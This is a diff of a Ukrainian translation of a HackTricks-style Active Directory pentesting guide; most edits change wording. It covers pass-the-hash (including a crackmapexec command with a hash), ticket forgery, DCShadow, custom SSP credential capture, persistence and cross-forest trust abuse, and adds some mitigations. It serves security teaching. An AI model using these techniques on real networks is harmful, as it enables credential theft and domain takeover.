../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -235,14 +235,14 @@ printnightmare.md
|
||||
|
||||
### Витягування хешів
|
||||
|
||||
Сподіваюся, вам вдалося **компрометувати деякий локальний обліковий запис адміністратора**, використовуючи [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) включаючи реле, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [підвищення привілеїв локально](../windows-local-privilege-escalation/index.html).\
|
||||
Тепер час вивантажити всі хеші в пам'яті та локально.\
|
||||
Сподіваюся, вам вдалося **компрометувати деякий локальний адміністратор** обліковий запис, використовуючи [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) включаючи реле, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [підвищення привілеїв локально](../windows-local-privilege-escalation/index.html).\
|
||||
Тоді настав час вивантажити всі хеші в пам'яті та локально.\
|
||||
[**Прочитайте цю сторінку про різні способи отримання хешів.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**Якщо у вас є хеш користувача**, ви можете використовувати його для **імітуювання** його.\
|
||||
Вам потрібно використовувати якийсь **інструмент**, який **виконає** **NTLM аутентифікацію, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** в **LSASS**, так що коли будь-яка **NTLM аутентифікація виконується**, цей **хеш буде використаний.** Останній варіант - це те, що робить mimikatz.\
|
||||
Вам потрібно використовувати якийсь **інструмент**, який **виконає** **NTLM аутентифікацію, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** всередину **LSASS**, так що коли будь-яка **NTLM аутентифікація виконується**, цей **хеш буде використаний.** Останній варіант - це те, що робить mimikatz.\
|
||||
[**Прочитайте цю сторінку для отримання додаткової інформації.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Pass the Ticket
|
||||
|
||||
У методі атаки **Pass The Ticket (PTT)** зловмисники **вкрадають квиток аутентифікації користувача** замість їх пароля або значень хешу. Цей вкрадений квиток потім використовується для **імітуювання користувача**, отримуючи несанкціонований доступ до ресурсів і послуг у мережі.
|
||||
У методі атаки **Pass The Ticket (PTT)** зловмисники **вкрадають аутентифікаційний квиток користувача** замість їх пароля або значень хешу. Цей вкрадений квиток потім використовується для **імітуювання користувача**, отримуючи несанкціонований доступ до ресурсів і послуг у мережі.
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -274,7 +274,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
|
||||
### Зловживання MSSQL та Довірені Посилання
|
||||
|
||||
Якщо користувач має привілеї для **доступу до екземплярів MSSQL**, він може використовувати це для **виконання команд** на хості MSSQL (якщо працює як SA), **викрадення** хешу NetNTLM або навіть виконання **атаки** **реле**.\
|
||||
Якщо користувач має привілеї для **доступу до екземплярів MSSQL**, він може використовувати це для **виконання команд** на хості MSSQL (якщо працює як SA), **викрадення** хешу NetNTLM або навіть виконання **атаки** **ретрансляції**.\
|
||||
Також, якщо екземпляр MSSQL є довіреним (посилання на базу даних) іншим екземпляром MSSQL. Якщо користувач має привілеї над довіреною базою даних, він зможе **використовувати довірчі відносини для виконання запитів також в іншому екземплярі**. Ці довіри можуть бути з'єднані, і в якийсь момент користувач може знайти неправильно налаштовану базу даних, де він може виконувати команди.\
|
||||
**Зв'язки між базами даних працюють навіть через довіри лісу.**
|
||||
|
||||
@ -311,15 +311,15 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### Зловживання ACL
|
||||
|
||||
Скомпрометований користувач може мати деякі **цікаві привілеї над деякими об'єктами домену**, які можуть дозволити вам **переміщатися** латерально/**ескалювати** привілеї.
|
||||
Скомпрометований користувач може мати деякі **цікаві привілеї над деякими об'єктами домену**, які можуть дозволити вам **переміщатися** латерально/**підвищувати** привілеї.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
{{#endref}}
|
||||
|
||||
### Зловживання службою спулера принтера
|
||||
### Зловживання службою спулера принтерів
|
||||
|
||||
Виявлення **служби спулера**, що слухає в домені, може бути **зловжито** для **отримання нових облікових даних** та **ескалації привілеїв**.
|
||||
Виявлення **служби спулера**, що слухає в домені, може бути **зловжито** для **отримання нових облікових даних** та **підвищення привілеїв**.
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** забезпечує систему для управління **паролем локального адміністратора** на комп'ютерах, приєднаних до домену, забезпечуючи його **випадковість**, унікальність та часту **зміну**. Ці паролі зберігаються в Active Directory, а доступ контролюється через ACL лише для авторизованих користувачів. З достатніми правами для доступу до цих паролів стає можливим переміщення до інших комп'ютерів.
|
||||
**LAPS** забезпечує систему для управління **паролем локального адміністратора** на комп'ютерах, що приєднані до домену, забезпечуючи його **випадковість**, унікальність та часту **зміну**. Ці паролі зберігаються в Active Directory, а доступ контролюється через ACL лише для авторизованих користувачів. З достатніми правами для доступу до цих паролів стає можливим перемикання на інші комп'ютери.
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -344,7 +344,7 @@ laps.md
|
||||
|
||||
### Крадіжка Сертифікатів
|
||||
|
||||
**Збір сертифікатів** з скомпрометованої машини може бути способом ескалації привілеїв у середовищі:
|
||||
**Збір сертифікатів** з скомпрометованої машини може бути способом підвищення привілеїв у середовищі:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/certificate-theft.md
|
||||
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Зловживання Шаблонами Сертифікатів
|
||||
|
||||
Якщо **вразливі шаблони** налаштовані, їх можна зловживати для ескалації привілеїв:
|
||||
Якщо **вразливі шаблони** налаштовані, їх можна зловживати для підвищення привілеїв:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
@ -411,7 +411,7 @@ golden-ticket.md
|
||||
|
||||
### Діамантовий Квиток
|
||||
|
||||
Ці квитки схожі на золоті, але підроблені так, що **обходять звичайні механізми виявлення золотих квитків.**
|
||||
Це схоже на золоті квитки, підроблені таким чином, що **обходять звичайні механізми виявлення золотих квитків.**
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
@ -419,15 +419,15 @@ diamond-ticket.md
|
||||
|
||||
### **Постійність Облікових Записів Сертифікатів**
|
||||
|
||||
**Маючи сертифікати облікового запису або можливість їх запитувати** є дуже хорошим способом зберегти постійність в обліковому записі користувача (навіть якщо він змінює пароль):
|
||||
**Маючи сертифікати облікового запису або можливість їх запитувати** - це дуже хороший спосіб зберегти постійність в обліковому записі користувача (навіть якщо він змінює пароль):
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### **Постійність Сертифікатів у Домені**
|
||||
### **Постійність Сертифікатів в Домені**
|
||||
|
||||
**Використання сертифікатів також можливе для збереження високих привілеїв у домені:**
|
||||
**Використання сертифікатів також можливе для постійності з високими привілеями в домені:**
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-persistence.md
|
||||
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### Група AdminSDHolder
|
||||
|
||||
Об'єкт **AdminSDHolder** в Active Directory забезпечує безпеку **привілейованих груп** (таких як Domain Admins та Enterprise Admins), застосовуючи стандартний **Список Контролю Доступу (ACL)** до цих груп, щоб запобігти несанкціонованим змінам. Однак цю функцію можна експлуатувати; якщо зловмисник змінює ACL AdminSDHolder, щоб надати повний доступ звичайному користувачу, цей користувач отримує значний контроль над усіма привілейованими групами. Ця міра безпеки, призначена для захисту, може таким чином обернутися проти, дозволяючи неналежний доступ, якщо не контролювати уважно.
|
||||
Об'єкт **AdminSDHolder** в Active Directory забезпечує безпеку **привілейованих груп** (таких як Domain Admins та Enterprise Admins), застосовуючи стандартний **Список Контролю Доступу (ACL)** до цих груп, щоб запобігти несанкціонованим змінам. Однак цю функцію можна експлуатувати; якщо зловмисник змінює ACL AdminSDHolder, щоб надати повний доступ звичайному користувачу, цей користувач отримує значний контроль над усіма привілейованими групами. Ця міра безпеки, призначена для захисту, може таким чином обернутися проти, дозволяючи неналежний доступ, якщо не контролювати її.
|
||||
|
||||
[**Більше інформації про групу AdminDSHolder тут.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
@ -449,7 +449,7 @@ dsrm-credentials.md
|
||||
|
||||
### Постійність ACL
|
||||
|
||||
Ви можете **надати** деякі **спеціальні дозволи** **користувачу** над деякими конкретними об'єктами домену, які дозволять користувачу **ескалювати привілеї в майбутньому**.
|
||||
Ви можете **надати** деякі **спеціальні дозволи** **користувачу** над деякими конкретними об'єктами домену, які дозволять користувачу **підвищити привілеї в майбутньому**.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -457,7 +457,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Описники Безпеки
|
||||
|
||||
**Описники безпеки** використовуються для **зберігання** **дозволів**, які має **об'єкт** **над** іншим **об'єктом**. Якщо ви зможете **зробити** **невелику зміну** в **описнику безпеки** об'єкта, ви зможете отримати дуже цікаві привілеї над цим об'єктом без необхідності бути членом привілейованої групи.
|
||||
**Описники безпеки** використовуються для **зберігання** **дозволів**, які має **об'єкт** **над** **об'єктом**. Якщо ви зможете **зробити** **невелику зміну** в **описнику безпеки** об'єкта, ви зможете отримати дуже цікаві привілеї над цим об'єктом без необхідності бути членом привілейованої групи.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -473,8 +473,8 @@ skeleton-key.md
|
||||
|
||||
### Користувацький SSP
|
||||
|
||||
[Дізнайтеся, що таке SSP (Постачальник Підтримки Безпеки) тут.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Ви можете створити свій **власний SSP** для **захоплення** в **чистому тексті** **облікових даних**, які використовуються для доступу до машини.\\
|
||||
[Дізнайтеся, що таке SSP (Security Support Provider) тут.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Ви можете створити свій **власний SSP**, щоб **захоплювати** в **чистому вигляді** **облікові дані**, які використовуються для доступу до машини.
|
||||
|
||||
{{#ref}}
|
||||
custom-ssp.md
|
||||
@ -482,7 +482,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
Це реєструє **новий Контролер Домену** в AD і використовує його для **поштовхування атрибутів** (SIDHistory, SPNs...) на вказані об'єкти **без** залишення будь-яких **журналів** щодо **модифікацій**. Вам **потрібні DA** привілеї та бути всередині **кореневого домену**.\
|
||||
Це реєструє **новий Контролер Домену** в AD і використовує його для **поширення атрибутів** (SIDHistory, SPNs...) на вказаних об'єктах **без** залишення будь-яких **журналів** щодо **модифікацій**. Вам **потрібні DA** привілеї і бути всередині **кореневого домену**.\
|
||||
Зверніть увагу, що якщо ви використовуєте неправильні дані, з'являться досить неприємні журнали.
|
||||
|
||||
{{#ref}}
|
||||
@ -491,26 +491,26 @@ dcshadow.md
|
||||
|
||||
### Постійність LAPS
|
||||
|
||||
Раніше ми обговорювали, як ескалювати привілеї, якщо у вас є **достатні права для читання паролів LAPS**. Однак ці паролі також можуть бути використані для **збереження постійності**.\
|
||||
Раніше ми обговорювали, як підвищити привілеї, якщо у вас є **достатні права для читання паролів LAPS**. Однак ці паролі також можуть бути використані для **збереження постійності**.\
|
||||
Перевірте:
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
{{#endref}}
|
||||
|
||||
## Ескалація Привілеїв Лісу - Доменні Довіри
|
||||
## Підвищення Привілеїв Лісу - Доменні Довіри
|
||||
|
||||
Microsoft розглядає **Ліс** як межу безпеки. Це означає, що **скомпрометування одного домену може потенційно призвести до компрометації всього Лісу**.
|
||||
|
||||
### Основна Інформація
|
||||
|
||||
[**Доменна довіра**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) є механізмом безпеки, який дозволяє користувачу з одного **домену** отримувати доступ до ресурсів в іншому **домені**. Це фактично створює зв'язок між системами аутентифікації двох доменів, дозволяючи перевіркам аутентифікації проходити безперешкодно. Коли домени встановлюють довіру, вони обмінюються та зберігають специфічні **ключі** в своїх **Контролерах Домену (DC)**, які є критично важливими для цілісності довіри.
|
||||
[**Доменна довіра**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) - це механізм безпеки, який дозволяє користувачу з одного **домену** отримувати доступ до ресурсів в іншому **домені**. Це фактично створює зв'язок між системами аутентифікації двох доменів, що дозволяє безперешкодно проходити перевірки аутентифікації. Коли домени встановлюють довіру, вони обмінюються та зберігають певні **ключі** в своїх **Контролерах Домену (DC)**, які є критично важливими для цілісності довіри.
|
||||
|
||||
У типовій ситуації, якщо користувач має намір отримати доступ до служби в **довіреному домені**, спочатку він повинен запитати спеціальний квиток, відомий як **квиток TGT між царствами**, у DC свого власного домену. Цей TGT шифрується спільним **ключем**, на якому обидва домени погодилися. Користувач потім представляє цей TGT **DC довіреного домену**, щоб отримати квиток на службу (**TGS**). Після успішної перевірки TGT між царствами DC довіреного домену видає TGS, надаючи користувачу доступ до служби.
|
||||
У типовій ситуації, якщо користувач має намір отримати доступ до служби в **довіреному домені**, він спочатку повинен запитати спеціальний квиток, відомий як **квиток TGT між царствами**, у DC свого власного домену. Цей TGT шифрується спільним **ключем**, на якому обидва домени погодилися. Користувач потім представляє цей TGT **DC довіреного домену**, щоб отримати квиток на службу (**TGS**). Після успішної перевірки TGT між царствами DC довіреного домену видає TGS, надаючи користувачу доступ до служби.
|
||||
|
||||
**Кроки**:
|
||||
|
||||
1. **Клієнтський комп'ютер** в **Домені 1** починає процес, використовуючи свій **NTLM хеш** для запиту **Квитка на Надання Квитків (TGT)** у свого **Контролера Домену (DC1)**.
|
||||
1. **Клієнтський комп'ютер** в **Домені 1** починає процес, використовуючи свій **NTLM хеш** для запиту **Квитка на Надання Квитка (TGT)** у свого **Контролера Домену (DC1)**.
|
||||
2. DC1 видає новий TGT, якщо клієнт успішно аутентифікований.
|
||||
3. Клієнт потім запитує **квиток TGT між царствами** у DC1, який потрібен для доступу до ресурсів у **Домені 2**.
|
||||
4. Квиток TGT між царствами шифрується за допомогою **ключа довіри**, спільного між DC1 та DC2 в рамках двосторонньої довіри домену.
|
||||
@ -520,38 +520,38 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз
|
||||
|
||||
### Різні довіри
|
||||
|
||||
Важливо помітити, що **довіра може бути односторонньою або двосторонньою**. У двосторонньому варіанті обидва домени довіряють один одному, але в **односторонній** довірчій відносині один з доменів буде **довіреним**, а інший - **доверяючим**. У останньому випадку **ви зможете отримати доступ до ресурсів лише всередині довірчого домену з довіреного.**
|
||||
Важливо помітити, що **довіра може бути односторонньою або двосторонньою**. У двосторонньому варіанті обидва домени довіряють один одному, але в **односторонній** довірі один з доменів буде **довіреним**, а інший - **доверяючим**. У останньому випадку **ви зможете отримати доступ до ресурсів лише всередині довірчого домену з довіреного.**
|
||||
|
||||
Якщо Домен A довіряє Домену B, A є довірчий домен, а B - довірений. Більше того, у **Домені A** це буде **вихідна довіра**; а в **Домені B** це буде **вхідна довіра**.
|
||||
Якщо Домен A довіряє Домену B, A є довірчий домен, а B - довірений. Більше того, в **Доміні A** це буде **вихідна довіра**; а в **Доміні B** це буде **вхідна довіра**.
|
||||
|
||||
**Різні довірчі відносини**
|
||||
|
||||
- **Довіри Батьків-Дітей**: Це звичайна налаштування в межах одного лісу, де дитячий домен автоматично має двосторонню транзитивну довіру з батьківським доменом. Це означає, що запити на аутентифікацію можуть проходити безперешкодно між батьком і дитиною.
|
||||
- **Довіри Батька-Дитини**: Це звичайна налаштування в межах одного лісу, де дитячий домен автоматично має двосторонню транзитивну довіру з доменом батька. Це означає, що запити на аутентифікацію можуть безперешкодно проходити між батьком і дитиною.
|
||||
- **Перехресні Довіри**: Відомі як "скорочені довіри", вони встановлюються між дитячими доменами для прискорення процесів посилання. У складних лісах запити на аутентифікацію зазвичай повинні подорожувати до кореня лісу, а потім вниз до цільового домену. Створюючи перехресні зв'язки, подорож скорочується, що особливо корисно в географічно розподілених середовищах.
|
||||
- **Зовнішні Довіри**: Вони встановлюються між різними, несвязаними доменами і за своєю природою є нетранзитивними. Згідно з [документацією Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), зовнішні довіри корисні для доступу до ресурсів у домені поза поточним лісом, який не підключений через довіру лісу. Безпека посилюється через фільтрацію SID з зовнішніми довірами.
|
||||
- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим коренем дерева. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових доменних дерев до лісу, дозволяючи їм зберігати унікальне ім'я домену та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим коренем дерева. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових доменних дерев до лісу, дозволяючи їм зберігати унікальну назву домену та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Довіри Лісу**: Цей тип довіри є двосторонньою транзитивною довірою між двома кореневими доменами лісу, також забезпечуючи фільтрацію SID для підвищення заходів безпеки.
|
||||
- **Довіри MIT**: Ці довіри встановлюються з не-Windows, [RFC4120-сумісними](https://tools.ietf.org/html/rfc4120) доменами Kerberos. Довіри MIT є дещо більш спеціалізованими і призначені для середовищ, які потребують інтеграції з системами на основі Kerberos поза екосистемою Windows.
|
||||
|
||||
#### Інші відмінності в **довірчих відносинах**
|
||||
|
||||
- Довірча відносина також може бути **транзитивною** (A довіряє B, B довіряє C, тоді A довіряє C) або **нетранзитивною**.
|
||||
- Довірча відносина може бути налаштована як **двостороння довіра** (обидва довіряють один одному) або як **одностороння довіра** (лише один з них довіряє іншому).
|
||||
- Довірчі відносини також можуть бути **транзитивними** (A довіряє B, B довіряє C, тоді A довіряє C) або **нетранзитивними**.
|
||||
- Довірчі відносини можуть бути налаштовані як **двостороння довіра** (обидва довіряють один одному) або як **одностороння довіра** (лише один з них довіряє іншому).
|
||||
|
||||
### Шлях Атаки
|
||||
|
||||
1. **Перелічити** довірчі відносини
|
||||
2. Перевірте, чи має будь-який **суб'єкт безпеки** (користувач/група/комп'ютер) **доступ** до ресурсів **іншого домену**, можливо, через записи ACE або будучи в групах іншого домену. Шукайте **відносини між доменами** (довіра була створена для цього, напевно).
|
||||
2. Перевірте, чи має будь-який **суб'єкт безпеки** (користувач/група/комп'ютер) **доступ** до ресурсів **іншого домену**, можливо, через записи ACE або через членство в групах іншого домену. Шукайте **відносини між доменами** (довіра була створена для цього, напевно).
|
||||
1. У цьому випадку kerberoast може бути ще одним варіантом.
|
||||
3. **Скомпрометувати** **облікові записи**, які можуть **переміщатися** між доменами.
|
||||
3. **Скомпрометувати** **облікові записи**, які можуть **перемикатися** між доменами.
|
||||
|
||||
Зловмисники можуть отримати доступ до ресурсів в іншому домені через три основні механізми:
|
||||
|
||||
- **Членство в Локальних Групах**: Суб'єкти можуть бути додані до локальних груп на машинах, таких як група "Адміністратори" на сервері, що надає їм значний контроль над цією машиною.
|
||||
- **Членство в Групах Зовнішнього Домену**: Суб'єкти також можуть бути членами груп у зовнішньому домені. Однак ефективність цього методу залежить від природи довіри та обсягу групи.
|
||||
- **Списки Контролю Доступу (ACL)**: Суб'єкти можуть бути вказані в **ACL**, особливо як сутності в **ACE** в рамках **DACL**, надаючи їм доступ до специфічних ресурсів. Для тих, хто хоче глибше зануритися в механіку ACL, DACL та ACE, документ під назвою “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” є безцінним ресурсом.
|
||||
- **Списки Контролю Доступу (ACL)**: Суб'єкти можуть бути вказані в **ACL**, особливо як сутності в **ACE** в рамках **DACL**, надаючи їм доступ до конкретних ресурсів. Для тих, хто хоче глибше зануритися в механіку ACL, DACL та ACE, документ під назвою “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” є безцінним ресурсом.
|
||||
|
||||
### Ескалація Привілеїв Лісу від Дитини до Батька
|
||||
### Підвищення Привілеїв Лісу від Дитини до Батька
|
||||
```
|
||||
Get-DomainTrust
|
||||
|
||||
@ -564,7 +564,7 @@ WhenCreated : 2/19/2021 1:28:00 PM
|
||||
WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
> [!WARNING]
|
||||
> Є **2 довірених ключі**, один для _Child --> Parent_ і ще один для _Parent_ --> _Child_.\
|
||||
> Є **2 довірених ключі**, один для _Child --> Parent_ і інший для _Parent_ --> _Child_.\
|
||||
> Ви можете використовувати той, що використовується поточним доменом, з:
|
||||
>
|
||||
> ```bash
|
||||
@ -582,19 +582,19 @@ sid-history-injection.md
|
||||
|
||||
#### Використання записуваного Configuration NC
|
||||
|
||||
Розуміння того, як можна експлуатувати Configuration Naming Context (NC), є критично важливим. Configuration NC слугує центральним репозиторієм для конфігураційних даних у лісі в середовищах Active Directory (AD). Ці дані реплікуються на кожен Контролер Домену (DC) у лісі, при цьому записувані DC підтримують записувану копію Configuration NC. Щоб це експлуатувати, потрібно мати **SYSTEM привілеї на DC**, бажано на дочірньому DC.
|
||||
Розуміння того, як можна експлуатувати Configuration Naming Context (NC), є критично важливим. Configuration NC служить центральним репозиторієм для конфігураційних даних у лісі в середовищах Active Directory (AD). Ці дані реплікуються на кожен Контролер Домену (DC) у лісі, при цьому записувані DC підтримують записувану копію Configuration NC. Щоб це експлуатувати, потрібно мати **SYSTEM привілеї на DC**, бажано на дочірньому DC.
|
||||
|
||||
**Прив'язка GPO до кореневого сайту DC**
|
||||
|
||||
Контейнер Sites Configuration NC містить інформацію про всі сайти комп'ютерів, приєднаних до домену, у лісі AD. Працюючи з привілеями SYSTEM на будь-якому DC, зловмисники можуть прив'язувати GPO до кореневих сайтів DC. Ця дія потенційно компрометує кореневий домен, маніпулюючи політиками, які застосовуються до цих сайтів.
|
||||
Контейнер Sites Configuration NC містить інформацію про всі сайти комп'ютерів, приєднаних до домену, у лісі AD. Працюючи з привілеями SYSTEM на будь-якому DC, зловмисники можуть прив'язувати GPO до кореневих сайтів DC. Ця дія потенційно компрометує кореневий домен, маніпулюючи політиками, що застосовуються до цих сайтів.
|
||||
|
||||
Для детальної інформації можна дослідити матеріали про [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
Для детальної інформації можна дослідити дослідження про [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
**Компрометація будь-якого gMSA у лісі**
|
||||
|
||||
Вектор атаки передбачає націлювання на привілейовані gMSA в домені. Ключ KDS Root, необхідний для обчислення паролів gMSA, зберігається в Configuration NC. Маючи привілеї SYSTEM на будь-якому DC, можна отримати доступ до ключа KDS Root і обчислити паролі для будь-якого gMSA в лісі.
|
||||
|
||||
Детальний аналіз можна знайти в обговоренні [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
Детальний аналіз можна знайти в обговоренні про [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Атака на зміну схеми**
|
||||
|
||||
@ -604,7 +604,7 @@ sid-history-injection.md
|
||||
|
||||
**Від DA до EA з ADCS ESC5**
|
||||
|
||||
Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI) для створення шаблону сертифіката, який дозволяє автентифікацію як будь-якого користувача в лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5.
|
||||
Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI), щоб створити шаблон сертифіката, який дозволяє аутентифікацію як будь-який користувач у лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5.
|
||||
|
||||
Більше деталей про це можна прочитати в [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). У сценаріях, де немає ADCS, зловмисник має можливість налаштувати необхідні компоненти, як обговорюється в [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
@ -639,31 +639,31 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
У цьому сценарії **ваш домен** **довіряє** деяким **привілеям** принципу з **інших доменів**.
|
||||
|
||||
Однак, коли **домен довіряється** довіреним доменом, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **пароль довіреного пароля**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного** для його перерахунку та спроби підвищити більше привілеїв:
|
||||
Однак, коли **домен довіряє** довіреному домену, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **довірений пароль**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного** для його перерахунку та спроби підвищити привілеї:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Ще один спосіб скомпрометувати довірений домен - це знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **протилежному напрямку** довіреності домену (що не є дуже поширеним).
|
||||
Ще один спосіб скомпрометувати довірений домен - це знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **протилежному напрямку** довіри домену (що не є дуже поширеним).
|
||||
|
||||
Ще один спосіб скомпрометувати довірений домен - це чекати на машині, до якої **користувач з довіреного домену може отримати доступ**, щоб увійти через **RDP**. Тоді зловмисник може впровадити код у процес сесії RDP і **отримати доступ до початкового домену жертви** звідти.\
|
||||
Більше того, якщо **жертва змонтувала свій жорсткий диск**, з процесу **сесії RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.**
|
||||
Ще один спосіб скомпрометувати довірений домен - це чекати на машині, де **користувач з довіреного домену може отримати доступ** для входу через **RDP**. Тоді зловмисник може ввести код у процес сесії RDP і **отримати доступ до початкового домену жертви** звідти.\
|
||||
Більше того, якщо **жертва підключила свій жорсткий диск**, з процесу сесії **RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.**
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Зменшення зловживань довірою домену
|
||||
### Пом'якшення зловживань довірою домену
|
||||
|
||||
### **Фільтрація SID:**
|
||||
|
||||
- Ризик атак, що використовують атрибут історії SID через довіри лісу, зменшується за допомогою фільтрації SID, яка активована за замовчуванням на всіх міжлісових довірах. Це підкріплюється припущенням, що внутрішні довіри лісу є безпечними, вважаючи ліс, а не домен, як межу безпеки відповідно до позиції Microsoft.
|
||||
- Ризик атак, що використовують атрибут історії SID через довіри лісу, зменшується завдяки фільтрації SID, яка активована за замовчуванням на всіх міжлісових довірах. Це підкріплюється припущенням, що внутрішні довіри лісу є безпечними, вважаючи ліс, а не домен, як межу безпеки відповідно до позиції Microsoft.
|
||||
- Однак є підводний камінь: фільтрація SID може порушити роботу програм і доступ користувачів, що призводить до її періодичного деактивування.
|
||||
|
||||
### **Вибіркова аутентифікація:**
|
||||
|
||||
- Для міжлісових довірів використання вибіркової аутентифікації забезпечує, що користувачі з двох лісів не аутентифікуються автоматично. Натомість, для доступу до доменів і серверів у довіреному домені або лісі потрібні явні дозволи.
|
||||
- Для міжлісових довірів використання вибіркової аутентифікації забезпечує, що користувачі з двох лісів не аутентифікуються автоматично. Натомість для доступу до доменів і серверів у довіреному домені або лісі потрібні явні дозволи.
|
||||
- Важливо зазначити, що ці заходи не захищають від експлуатації запису конфігурації, що підлягає запису (NC), або атак на обліковий запис довіри.
|
||||
|
||||
[**Більше інформації про довіри доменів на ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
@ -676,7 +676,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
|
||||
|
||||
## Деякі загальні заходи захисту
|
||||
|
||||
[**Дізнайтеся більше про те, як захистити облікові дані тут.**](../stealing-credentials/credentials-protections.md)\\
|
||||
